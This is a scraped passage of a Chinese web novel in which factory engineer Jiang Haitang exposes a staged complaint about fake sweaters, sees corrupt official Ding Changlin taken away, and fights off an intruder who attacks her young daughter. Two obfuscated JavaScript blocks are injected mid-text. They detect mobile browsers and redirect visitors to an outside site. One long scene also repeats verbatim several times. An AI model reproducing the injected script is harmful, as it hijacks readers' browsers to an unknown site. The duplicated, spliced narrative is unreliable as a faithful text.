“李胜利,我看到你都觉得恶心,以后,咱们最好不见!” 李胜利眼中闪过一丝阴狠,“你以为有陆良辰和**厂长撑腰就了不起了?我告诉你,丁局长有的是办法,收拾不了陆良辰,还收拾不了你?” 姜海棠敏锐察觉到,李胜利和丁长林应该有非常亲近的关系。 她冷笑一声:“李胜利,你不要狗仗人势,何况,就算狗仗人势,那也要是主人,你算什么?丁长林权势再大,能顾得着你这条不认识的狗?” 被姜海棠这样一番话给刺激到的李胜利眼里都是怒火。 “你怎么知道他不认识我?” 话说出来,李胜利才惊讶发现,自己说错话了,他忙将剩下的话吞咽回去。 “好好好,他是你的主人,认识你这条狗,当狗还当出成就感了!” 姜海棠状似无意地说着,转身就离开。 李胜利和丁长林有关系,而且,关系还不简单。 “你别走,姜海棠,你说谁是狗?” “李胜利,是你自己非要对号入座,放着好好的人不当,非要对号入座当狗,我也没办法。” 姜海棠说着,转身离开,不再搭理李胜利。 李胜利看着姜海棠走远的身影狞笑:“姜海棠,我给你机会你不珍惜,那就等着一起倒霉吧!” 说完,转身大步离去。 李胜利离开之后,不远处,两名保卫科的干部出现,盯着李胜利离开的方向然后追过去。 姜海棠回到家里,陆良辰已经回来了。 姜海棠立即将今天刺激陆良辰的话说了一遍。 “良辰,我怀疑,李胜利和丁长林关系不简单。” “海棠,李胜利就是一条疯狗,你不要招惹他,免得他对你动手。”陆良辰仔细打量着姜海棠,确认她无恙后才松了口气。 冒险的事,不适合姜海棠做,有他们这些人呢。 看出陆良辰的担心,姜海棠笑着安抚她:“你别担心,我知道如何保护自己,今天也是正好碰上了,要不然,我不会拿自己生命开玩笑的。” 得了姜海棠的保证,陆良辰才算安心了一些。 “我们这几个月,一直在盯着李胜利,明面上,李胜利和丁 长林并没有任何接触,甚至,两个人都没有交集,看起来,必须要深挖两个人的关系才行。” 正说着,门被敲响。 一个陌生的年轻人慌慌张张地说:“陆厂长,不好了!百货大楼那边出事了!” 听到出事两个字,二人立即站起来,陆良辰问:“什么情况?” “有人穿着我们的羊毛衫皮肤过敏,现在正在商场门口闹呢!记者都去了!” 姜海棠和陆良辰对视一眼,难道,已经有劣质羊毛衫流入市场了? 不应该啊! “走,去看看!”陆良辰抓起外套就往外走。 姜海棠也急急忙忙跟上。 百货大楼门前已经围满了看热闹的人群。 一个中年妇女正举着一件领口脱线的羊毛衫,对着记者的镜头大声控诉:“大家看看!这就是金城纺织厂的产品!我穿了不到半天,浑身起红疹!打开一看,这毛线明显是劣质产品,而且,做工也这么差,就这样的劣质产品也敢卖这么贵!这不是欺负我们劳苦大众?” 姜海棠对厂里的产品都有了解,她第一感觉就是,这件羊毛衫不是厂里生产的。 但她也知道,现在空口无凭,就算说这不是纺织厂的羊毛衫,只怕别人也不会相信,反而觉得,他们是在推诿。 姜海棠立即从随身的包里拿出一件羊毛衫,笑着走上前安抚那激动的妇女。 “这位同志,对于您过敏这件事,我们深表遗憾,至于您说的羊毛衫的质量问题,我们也会好好调查,保证还您一个公道。” “你是什么人?我凭什么要听你的?”那妇女肥硕的身体一扭,没好气地对姜海棠说。 姜海棠继续笑着说:“我是咱们纺织厂的员工……” “我呸,来一个员工算什么?我要厂里的领导出面处理我的问题。”那妇女一口唾沫朝着姜海棠的脸上啐过去。 亏得姜海棠闪躲得快,才躲开唾沫袭击。 “这位同志,我就是厂领导,你有什么事可以直接对我说。” 姜海棠看到陆良辰站出来,眼里都是不赞同,对方是个女同志,她出面协调会比较好,陆良辰一个男同志,说不定不光没有办法调节,还会引起次生矛盾。 那妇女听到陆良辰承认是纺织厂的厂长之后,嗓门陡然提高:“**群众们快来看!这就是金城厂的走资派!用劣质产品坑害我们劳动人民!今天我是受害者,还不知道以后会有多少人因为他们的不负责任而受罪被坑害!” 围观人群骚 动起来,几个臂戴红袖章的年轻人开始高喊:“打倒唯生产力论!” “宁要社会主义的草,不要资本主义的苗!” 那女人也趁机到了陆良辰的身边开始撒泼打滚,她一边撒泼,还一边在陆良辰身上上下其手。 陆良辰从来没有遇到过这样的妇女,按照他的个性,只恨不能一脚踹过去,见这女人踹成傻子。 可偏偏他现在的身份和这位妇女的身份太对立,容易被人攻击。 正当他交集的时候,姜海棠又站出来了。 “这位大婶,你有事说事,怎么可以耍流氓?” 那妇女显然没想到,姜海棠会直接说她耍流氓,情急之下,连自己正在**都忘了。 “小**,你敢胡说八道!看我不打死你!” 妇女说着,朝着姜海棠张牙舞爪地冲过来! 姜海棠灵巧地躲开,嘴里还不断地说着:“你让周围的人说,你这么大的年纪了,对着一个小伙子身上下其手,不是耍流氓是什么?” 周围的人哄堂大笑,他们当然看到了这妇女对着陆良辰上下其手,不过,他们也看出来了,这妇女是个滚刀肉,他们并不敢作证。 好在,姜海棠也只是搅乱妇女的心神,并没有打算真的找人作证。 果然,在妇女心思乱了之后,姜海棠一把扯过她手中的羊毛衫。 妇女反应过来要将羊毛衫抢回来,可哪里来得及。 “老天爷啊,这个小**丧良心了,竟然抢走我的羊毛衫,肯定是要毁尸灭迹!” “这位同志,你这羊毛衫,真的是从百货大楼买的吗?真的是我们金城纺织厂的羊毛衫吗?” 姜海棠左右手一只手拿着一件羊毛衫给围观的人群看。 “这一件是我们金城纺织厂生产的羊毛衫,这一件,看着很明显就和我手里这件有差别。” 周围的人并没有看出不同,立即反驳:“说不定不是同一批呢?” “就是,再说了,谁知道你拿出来的是不是你们专门定做的好的?” 姜海棠听着这些人的话,正在想怎么办,忽然看到了眼熟的人,她记得这人是百货大楼的工作人员,因此忙打招呼:“同志,你好,请问你能帮我一个忙吗?” 对方是个年轻的小伙子,看到一个漂亮的大姑娘请自己帮忙,自然不会拒绝,立即高喊:“同志,你有什么需要我帮忙的?” 姜海棠道:“我想请你帮忙从百货大楼拿一件羊毛衫过来做对比。” 那人听了,一口 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797859|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 第187章 山雨欲来 说这个不是事先计划好的,姜海棠都不相信。 这时候,陆良辰不卑不亢地同样从胸前口袋掏出红宝书。 “最高指示‘没有调查就没有发言权’。请领导先核实这件羊毛衫的真伪,再来研究我们厂是不是走资本主义。 原本很严肃的场面,姜海棠却想起了上辈子的一句话,叫做以魔法打败魔法! 只是,不等姜海棠脸上笑容绽开,方脸干部已经怒气冲冲开口了。 他一把夺过羊毛衫:“到现在,你们还在狡辩!这分明就是你们厂的商标!现在全市开展‘批林批孔’运动,你们还敢搞唯生产力论? 姜海棠想起,过年时候在京城,陆爷爷曾经提醒过他们,不要被人定性为搞唯生产力论,这才多长时间,果然有人用这个做文章吗? “我作为轻工局的领导,对纺织厂现在这种危险的思想提出严厉批评。 陆良辰看了一眼,小声告诉姜海棠:“这就是丁长林,王强的姐夫。 姜海棠盯着丁长林看了好一会儿,这个人眼神飘忽,一看就不是正经人。 “轻工局的领导来了啊,领导啊,你可要给我们劳苦大众做主啊,可不能让纺织厂欺负人!**的中年妇女快步走到丁长林跟前,开始哭着喊着叫冤枉。 丁长林摆出一副为民做主的样子,十分和蔼的对中年妇女说道:“同志,您放心,我们肯定会为您做主,绝对不会让您这样的劳苦大众受任何委屈。 丁长林先对中年妇女说了这一番话之后,又正色对陆良辰说:“陆厂长,我知道你是战斗英雄,也是咱们省里最年轻的厂长,年轻人有干劲儿是好事,可也不能为了政绩,让劳苦大众受损失。 “这样吧,今天这事儿,我做主,你们承担这位女同志的医疗费用,补偿她的损失,她也不另外追究你们的责任,你觉得怎么样?陆厂长? 姜海棠听丁长林这么说,还有什么不明白的? 丁长林这话,看起来是为纺织厂说话,可实际上,只要纺织厂答应下来,那就是将纺织厂钉在了耻辱柱上,更是让陆良辰这个厂长不得不认下这盆屎。 姜海棠生怕陆良辰为了息事宁人答应下来,她忙上前扯了一下陆良辰的袖子。 陆良辰给她一个安抚的眼神,然后盯着丁长林,一脸严肃的开口。 “这件事,我建议报**进行调查,如果**调查是我们纺织厂的责任,我们全部承担,并且给这位女同志补偿,但如果**调查 是有人栽赃陷害我们纺织厂,我们必定追究到底。” 姜海棠听陆良辰这么说,总算放心了。 “报**?”丁长林脸色一沉,十分生气的开口:“陆良辰同志,你这是要把人民内部矛盾扩大化!” 围观人群中几个年轻人不知道从什么地方冒出来。 “打倒官僚主义!” “打倒资本主义!” “坚决抵制走资派!” 这些人看起来很陌生,但姜海棠就是觉得,这些人和丁长林有关系。 她悄悄往陆良辰身边靠过去,低声道:“他们在**。” 陆良辰会意。 “丁副局长,”陆良辰挺直腰板,声音沉稳有力。 “既然您提到人民内部矛盾,那更应该查清事实。我现在怀疑有人蓄意破坏生产……” 丁长林腮帮子的肌肉抽搐了两下。 就在这时,那**的妇女突然捂着胸口踉跄几步:“哎哟……我……我喘不过气……” 话音未落竟直挺挺向后倒去。 人群哗然。 丁长林一个箭步冲上前:“快!把人送到医院,这肯定是因为劣质羊毛衫过敏导致的。” 陆良辰想说什么,但张嘴之后,并没有说出话来。 反而是丁长林,他扭头怒视陆良辰,“现在证据确凿,金城纺织厂的劣质产品把**群众害成这样!我以轻工局的名义宣布,立即停止金城厂所有生产线,全面整顿!” 姜海棠眼尖,发现那妇女倒下时脖颈处露出块完好的皮肤上根本没有红疹!她正要揭穿,一阵急促的哨声突然从街角传来。 然后就是两辆警车呼啸而至,为首的**干部跳下车亮出证件:“都让开!我们是**,刚接到举报这里有人破坏生产!” 丁长林脸色骤变:“同志,这事我们轻工局正在处理,就不劳烦你们了……” “处理?你们是怎么处理的?”那**显然并不将丁长林这个轻工局的副局长放在眼里。 姜海棠忙开口:“**同志,我还怀疑,这位女同志伪造过敏症状。” “在场的各位有没有医护人员,帮这位女同志检查一下,是不是真的过敏。” 那个原本晕过去的女同志听到这话,立即站了起来。 “我就是过敏了,不用检查。我自己的身体,自己还能不知道?” “你知道?刚才你不是还晕厥在地上?”姜海棠戏谑的说。 那女人脸瞬间涨红了。 “纺织厂的人是不是有点欺人太甚了? “调查要讲究证据,不是谁弱谁有理!**同志也十分坚持。 就在这千钧一发之际,一辆黑色轿车疾驰而来,汽车缓缓在百货大楼不远处停下来。 车门打开,**厂长搀着一位白发老者走了下来。 “是省革委会的王主任!陆良辰惊呼。 丁长林看到王主任,脸色瞬间惨白,慌忙迎上去:“王主任,您怎么来了…… 王主任冷哼一声,没有理他,径直走向那名投诉的妇女:“同志,你这件羊毛衫是从这里买的吗?有发票吗? 妇女支支吾吾:“发票……发票丢了…… 人群中顿时爆发出一阵哄笑,显然,大家都不相信发票丢了这样的话。 王主任抬手示意大家安静,然后对**的同志说:“这件羊毛衫,在与百货大楼的报以比对之后,送去检查,如果是金城厂的问题,我第一个处理他们;如果有人栽赃陷害,意图破坏生产…… 他锐利的目光扫过丁长林和,缓缓的,一个字一个字的说:“那也绝不轻饶! 局势瞬间逆转,丁长林额头冒汗。 所有人的目光齐刷刷射向丁长林,他僵在原地,脸上的表情比哭还难看。 王主任意味深长地说:“是啊,老丁,丁局长,一起走吧。正好我有些问题想请教你。 丁长林不敢走了,很快,去百货大楼取羊毛衫样品的人很快拿了一件羊毛衫出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807915|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王主任做主,在现场找了十来个人一起对比检查。 经过十来个人一轮轮的检查,确定这名中年妇女的羊毛衫和纺织厂提供给百货大楼的不是同样的产品。 “涉事人员通通带走。马上就要广交会了,有人在这时候**,显然是有预谋的。 这场闹剧最终以丁长林和中年妇女被带走调查告终。 经检测,那件质量低劣的羊毛衫不仅使用了劣质原料,还被故意浸泡了致敏物质,明显是栽赃陷害。 这就是一场针对纺织厂的预谋。 接下来的一周时间,十分平静,平静的让姜海棠都开始心慌了。 她觉得这样的气氛很诡异! 就好像暴风雨前的宁静一样,让人压抑,让人窒息! 这时候,省厅给姜海棠报上去的三八红旗手批下来了。 消息传到厂里,有些人嫉恨的牙痒痒,有些人则是真心实意为姜海棠开心。 拿到了表彰, 虽然只是荣誉,没有奖金,但姜海棠十分开心和满意。 这可是对她最大的认可! 但因为厂里最近的气氛,姜海棠欢愉的心情都淡了好几分。 而这些天,陆良辰也一直非常忙,忙的有点脚不沾地。 康小夏过来找姜海棠的时候,说起赵凯,说也是一样,她都已经有好几天没有见到赵凯了。 “或许是真的有急事,小夏,这几天,你也要谨慎小心一些。赵凯做的都是得罪人的事儿,说不定,有人会针对你。” 康小夏一面织毛衣一面说:“其实,你比我危险多了。毕竟,陆厂长的身份摆在那里,就像一个靶子一样。” 姜海棠点头。 “我现在就指望,这些事尽快过去,真的是太影响人的心情了。” 她都不敢擅自离开厂里一步,就连小桃子,她都不敢自己带着,很多时候,让小桃子在孔家一起玩。 姜海棠把“三八红旗手”的奖状锁进办公室抽屉的这日,广播里正在播放《人民日报》社论:“提高警惕,保卫祖国,要时刻警惕阶级敌人的破坏活动……” 她忽然有种不详的预感,眼睛一跳再跳,好像要发生什么大事一样。 “姜工!”保卫科的小王慌慌张张推门进来,“刚在有人把这个丢到了厂里!” 小王说着,递过来一个已经开封的牛皮纸信封。 姜海棠拿出里面的东西,里面赫然是张她和小桃子的合影,照片上被红笔画了个大大的叉,背面用剪报拼出一行字:“你们都要死,这就是和我们作对的下场!” 姜海棠惊惧之下,手中的照片没有拿稳,跌到了桌上,她强自镇定:“什么时候发现的?” “就刚才!老周说看见个戴鸭舌帽的男人在墙根转悠……”小王突然压低声音,“姜工,您最近是不是又发现什么了?” 姜海棠摇头,她最近好像没有发现什么。 “我去趟保卫科。” 姜海棠急匆匆的跑出办公室,才跑到一半,就听到有人喊自己。 回头一看,是传达室的大爷。 “姜工,有你的电话。” 姜海棠惊讶,谁这时候给自己打电话了? 但她还是过去接起电话。 第188章 风满楼 “姜海棠同志吗?”陌生的男声带着电流杂音,“你女儿在幼儿园摔伤了,现在送……” “胡说!”姜海棠厉声打断,“小桃子今天根本没去幼儿园!” 电话那头传来“咔嗒”挂断声。 小王脸色煞白:“这……这是敌特分子的恐吓!” 姜海棠脸色苍白起来,“他们盯上了小桃子!” 小桃子今天确实没有去幼儿园,而是和孔大娘在家里。 姜海棠急匆匆地朝着家属院跑去。 越跑心越慌,在初春寒冷的风里,姜海棠跑出了满头大汗。 “孔大娘!小桃子!”姜海棠人刚到院子里,就朝着屋里大喊。 屋里传出瓷器破碎的声音,姜海棠顾不得别的,抄起门边的一根棍子冲进去。 只见孔大娘被捆在椅子上,嘴里塞着抹布,额头渗着血。 见到姜海棠,老人拼命摇头,眼睛瞪向里屋。 “妈妈……”小桃子微弱的哭声从里屋传来。 姜海棠浑身血液都凝固了。 她轻手轻脚摸到门边,透过门缝看见个穿劳动布工装的男人背对门口,正往孩子嘴里塞药片,小桃子哭得满脸通红。 “住手!”姜海棠踹开门,棍子朝那人后脑勺砸下去。 男人敏捷地闪开,鸭舌帽下露出张刀疤脸。 他一把掐住小桃子的脖子:“再动我就拧断这小崽子的脖子!” 他狞笑着,一双爪子牢牢地抓在小桃子的脖子上,小桃子的脸已经变得青紫。 姜海棠双腿发软,手中的罐子掉在地上。 她强迫自己深呼吸,耐心地和男人说话。 “同志,你、你先放开孩子。稚子何辜,不管你有什么要求,都不应该伤害孩子……”她声音发抖,确实害怕这个亡命之徒对小桃子下手,“只要你放开孩子,你要什么我都答应。” “少装糊涂!”刀疤脸手指收紧,小桃子发出痛苦的呜咽。 姜海棠更加心惊胆战,这么小的孩子,一个不小心就会要了命啊! “你别激动……你有什么要求就说,我保证不还价……” “听说,纺织厂最近取得的成绩不少,都是你带着人研究的?我也不要求多的,把你们最近的项目图纸都拿出来。” 姜海棠心头一震,图谋不小啊。 她焦急万分的时候,眼角瞥见窗外有人影晃动,心念一动,她知道,自己必须拖延时间。 “图纸不在我手里……” “啪!”刀疤脸突然甩了小桃子一耳光,“当我是三岁小孩?” 小桃子的脸被打肿了,嘴角渗出血丝,哭声像刀子般扎进姜海棠心里。 就在姜海棠心慌意乱终于殊死一搏的时候,小桃子突然张嘴狠狠咬住刀疤脸的手腕。 男人吃痛松手,姜海棠趁机扑上前去,却被一脚踹在腹部。 “臭娘们!”刀疤脸拽着小桃子的辫子往墙上撞,“老子先解决这小崽子!再收拾你这个**!” 姜海棠眼前发黑,立即朝着小桃子扑过去,好在,一切都来得及,姜海棠在千钧一发之际,将小桃子抱在怀里。 男人朝着她冲过来,她伸腿将男人绊倒。 刀疤男人栽倒在地上,姜海棠立即抱着小桃子利落地翻身朝着门外跑。 可刀疤男人很快反应过来,紧跟着姜海棠朝着门口追。 被抓住的一刻,姜海棠忽然想起口袋里装着一把剪刀,她单手抱住小桃子,另外一只手将剪刀从口袋里摸出来,她顾不得找位置,单凭着感觉狠狠往后一扎。 “嗷!”男人惨叫松手,发出杀猪一样的声音。 姜海棠顾不得看男人伤在哪里,她快步朝着门外继续跑。 “来人啊!抓敌特分子!”她声嘶力竭地大喊。 刀疤脸拔出腿上的剪刀,鲜血顺着裤管滴在地上,他狞笑着:“**,敢伤老子,今天不收拾你,老子不姓赵!” 就在这时候,从窗户外面传来了声音! “不许动!” 趁着刀疤脸慌神的功夫,姜海棠抱着小桃子连滚带爬的到了外面,然后,三个**破窗而入。 刀疤脸见势不妙,转身就要扑向姜海棠。 姜海棠早有防备,转身就是一脚,正好踹在男人的膝盖上。 脆弱的膝盖遭受了重击后,男人扑通一声跪倒在地,被随后赶来的**死死按住。 姜海棠只觉得整个人虚脱了一样,跌坐在地上。 小桃子被姜海棠抱在怀里,一点声音都没有,也不知道是不是被吓坏了。 “姜同志没事吧?” 两个保卫科的同志冲进来,其中一个姜海棠认识,是老郑。 “你们怎么来了……” “陆厂长早让我们盯着了,只是没想到,他们动作迅速……”老郑非常愧疚地说。 他们这段时间一直在加强巡逻工作,却还是让敌特闯入家属院。 “姜工,您受惊了。” 姜海棠顾不得回答他们的话, 抱着小桃子开始检查她的身体。 “小桃子,你有没有受伤?告诉妈妈,哪里疼?” 小桃子却像是傻了一样,一言不发,显然是吓到了。 姜海棠忙抱住小丫头耐心安抚。 或许是熟悉的怀抱让孩子总算反应过来,小丫头哇的一声大哭起来。 姜海棠心疼地抱着小桃子:“没事了,小桃子不怕,没事了,叔叔和伯伯们会保护小桃子,保护妈妈……” 小桃子这时候终于开口了,她说:“还要保护孔奶奶……” 而另一边,保卫科的同志已经将孔大娘松绑。 姜海棠抱着小桃子到孔大娘身边。 “大娘,对不起,都是我们连累了你!”姜海棠十分诚挚地道歉。 孔大娘如果不是帮忙看小桃子,也不至于遭遇这些,这场灾难,是他们家带给孔大娘的。 “说这个干啥,都是我年龄大了,没有照顾好小桃子。” 孔大娘虽然心有余悸,但还是十分愧疚地道歉。 “不是我不想保护小桃子,实在是我没本事!” “大娘,我知道,您今天在用生命保护小桃子,我该谢谢您!” “这孩子的父亲为了保护我们牺牲了,我们保护她不是应该的?”孔大娘制止姜海棠鞠躬。 刀疤被抓了,姜海棠心有余悸。 小桃子终究还是生病了,姜海棠没有去上班,而是请假留在家里照顾小桃子。 小桃子刚退烧睡着,有人敲门,姜海棠出门,看到的却是李秋兰。 姜海棠不愿意看到李秋兰,冷着脸问:“你来干什么?” “嫂子……哦,海棠姐,我这不是听人说,你和小桃子遇到危险了,我来看看。” 姜海棠冷笑:“无事献殷勤,你还是回去吧。” “嫂子,不管你相信不相信,我们总是一起生活了这么多年,我对你的感情自是不一般的。尤其是,我和娘到了厂里后,没少被人指指点点的。” “我和娘已经知道错了,我们希望能得到你的原谅,海棠姐,看在我们之前那些年还不错的份上,请你原谅我们。” “娘想你了,想见见你,要不,你带着小桃子去见见娘?娘说,她最对不起的就是你,她之前也是被猪油蒙了心,以后,她会当你是亲女儿一样!” 姜海棠听着李秋兰说这么多,简直像是听笑话一样。 这张嘴皮子还真是厉害,要不是她遭遇过一辈子,估计就要相信这娘儿两个是真心悔过了。 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 